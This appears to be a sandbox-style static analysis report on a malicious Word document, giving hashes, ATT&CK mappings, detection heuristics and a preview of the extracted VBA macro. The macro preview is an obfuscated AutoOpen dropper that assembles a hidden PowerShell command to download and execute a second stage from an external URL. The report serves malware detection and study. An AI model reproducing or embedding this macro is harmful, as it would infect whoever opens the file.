Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f7b6a70bd6a778d…

MALICIOUS

Office (OLE)

268.0 KB Created: 2018-03-06 17:10:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 9c9718ac31248501a743f59d274c85e9 SHA-1: deb229af041afa3bc94c47dfebf47c134857d878 SHA-256: 2f7b6a70bd6a778d342d0bf91557267c6839173609b1ed807f583f75a101d3eb
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening. The macro utilizes a Shell() call, indicating it's designed to download and execute a second-stage payload. ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6465211-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6465211-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5997 bytes
SHA-256: 23e72be2b9acb8ef84fec14a083e99ce8a7d363e6df052b8bd9b658b863119d8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "green"
Sub AutoOpen()
    Dim IR_RG As String
    IN_QD = Array(" ", "y", "b", "w", "p", "a", "l", "r", "d", "i", "s", "u", "e", "x", "n", "c", "-", "t", "h", "o")
    Dim GR_MC As String
    GR_MC = "ZgB1AG4AYwB0AGkAbwBuACAAYQAoACQA"
    IR_RG = IR_RG + IN_QD(4)
    IR_RG = IR_RG + IN_QD(19)
    Dim AP_KA As String
    AP_KA = "eAApAHsAcgBlAHQAdQByAG4AIABbAFMA"
    IR_RG = IR_RG + IN_QD(3)
    IR_RG = IR_RG + IN_QD(12)
    Dim CL_LI As String
    CL_LI = "eQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbg"
    IR_RG = IR_RG + IN_QD(7)
    IR_RG = IR_RG + IN_QD(10)
    Dim EO_SD As String
    EO_SD = "BjAG8AZ"
    IR_RG = IR_RG + IN_QD(18)
    IR_RG = IR_RG + IN_QD(12)
    Dim IP_LE As String
    IP_LE = "ABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQ"
    JK_MJ = JK_MJ & GR_MC & AP_KA & CL_LI & EO_SD & IP_LE
    IR_RG = IR_RG + IN_QD(6)
    IR_RG = IR_RG + IN_QD(6)
    Dim GR_KI As String
    GR_KI = "AUwB0AHIAaQBuAGcAKA"
    IR_RG = IR_RG + IN_QD(0)
    IR_RG = IR_RG + IN_QD(16)
    Dim FP_KA As String
    FP_KA = "BbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAO"
    IR_RG = IR_RG + IN_QD(3)
    IR_RG = IR_RG + IN_QD(9)
    Dim CN_SC As String
    CN_SC = "gBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAB"
    IR_RG = IR_RG + IN_QD(14)
    IR_RG = IR_RG + IN_QD(8)
    Dim CO_RD As String
    CO_RD = "yAGkAbgBnACgAJAB4ACkAKQB9ADsAaQB"
    IR_RG = IR_RG + IN_QD(19)
    IR_RG = IR_RG + IN_QD(3)
    Dim ET_PC As String
    ET_PC = "lAHgAIAAkACgAYQAgACQAKAA"
    JK_MJ = JK_MJ & GR_KI & FP_KA & CN_SC & CO_RD & ET_PC
    IR_RG = IR_RG + IN_QD(10)
    IR_RG = IR_RG + IN_QD(17)
    Dim CR_SB As String
    CR_SB = "kACgAJAAoAGkAbgB2AG8AawBlAC0AdwBlAGIAc"
    IR_RG = IR_RG + IN_QD(1)
    IR_RG = IR_RG + IN_QD(6)
    Dim IN_RE As String
    IN_RE = "gBlAHEAdQBlAHMAdAAgACcAaA"
    IR_RG = IR_RG + IN_QD(12)
    IR_RG = IR_RG + IN_QD(0)
    Dim FO_QH As String
    FO_QH = "B0AHQAcABzADoALwAvA"
    IR_RG = IR_RG + IN_QD(18)
    IR_RG = IR_RG + IN_QD(9)
    Dim FO_OD As String
    FO_OD = "HUAcwBwAHI"
    IR_RG = IR_RG + IN_QD(8)
    IR_RG = IR_RG + IN_QD(8)
    Dim CK_PA As String
    CK_PA = "AZAA1ADEANQAwAGMAZQBuAHQAcgBhAGwALgB0AGEAYgB"
    JK_MJ = JK_MJ & CR_SB & IN_RE & FO_QH & FO_OD & CK_PA
    IR_RG = IR_RG + IN_QD(12)
    IR_RG = IR_RG + IN_QD(14)
    Dim DO_RD As String
    DO_RD = "sAGUALgBjA"
    IR_RG = IR_RG + IN_QD(0)
    IR_RG = IR_RG + IN_QD(16)
    Dim CL_KF As String
    CL_KF = "G8AcgBlAC4AdwBpAG4AZABvAHcAcwAuAG4AZQ"
    IR_RG = IR_RG + IN_QD(12)
    IR_RG = IR_RG + IN_QD(13)
    Dim BP_TC As String
    BP_TC = "B0AC8AdwB"
    IR_RG = IR_RG + IN_QD(12)
    IR_RG = IR_RG + IN_QD(15)
    Dim HP_OE As String
    HP_OE = "hAHIAZQBoAG8"
    IR_RG = IR_RG + IN_QD(11)
    IR_RG = IR_RG + IN_QD(17)
    Dim BS_QA As String
    BS_QA = "AdQBzAGUAPwAkAGYAaQBsAHQAZQByAD0AUABhAHIAdABpAHQA"
    JK_MJ = JK_MJ & DO_RD & CL_KF & BP_TC & HP_OE & BS_QA
    IR_RG = IR_RG + IN_QD(9)
    IR_RG = IR_RG + IN_QD(19)
    Dim AP_PH As String
    AP_PH = "aQBvAG4ASwBlAHkAJQAyADAAZQBxACUAMgAwACUAMgA3"
    IR_RG = IR_RG + IN_QD(14)
    IR_RG = IR_RG + IN_QD(4)
    Dim AK_TD As String
    AK_TD = "AHMAdABhAGcAZQAlADIANwAmACQAUwBlAGwAZQBj"
    IR_RG = IR_RG + IN_QD(19)
    IR_RG = IR_RG + IN_QD(6)
    Dim IN_PB As String
    IN_PB = "AHQAPQBkAGEAdABhAC"
    IR_RG = IR_RG + IN_QD(9)
    IR_RG = IR_RG + IN_QD(15)
    Dim HL_TG As String
    HL_TG = "YAcwB2AD0AMgAwADEA"
    IR_RG = IR_RG + IN_QD(1)
    IR_RG = IR_RG + IN_QD(0)
    Dim IL_QI As String
    IL_QI = "NwAtADAANAAtADEANwAmAHMAcwA9AGIAZgBxAH"
    JK_MJ = JK_MJ & AP_PH & AK_TD & IN_PB & HL_TG & IL_QI
    IR_RG = IR_RG + IN_QD(2)
    IR_RG = IR_RG + IN_QD(1)
    Dim CK_RH As String
    CK_RH = "QAJgBzAHIAdAA9AHMAYwBvACYAcw
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.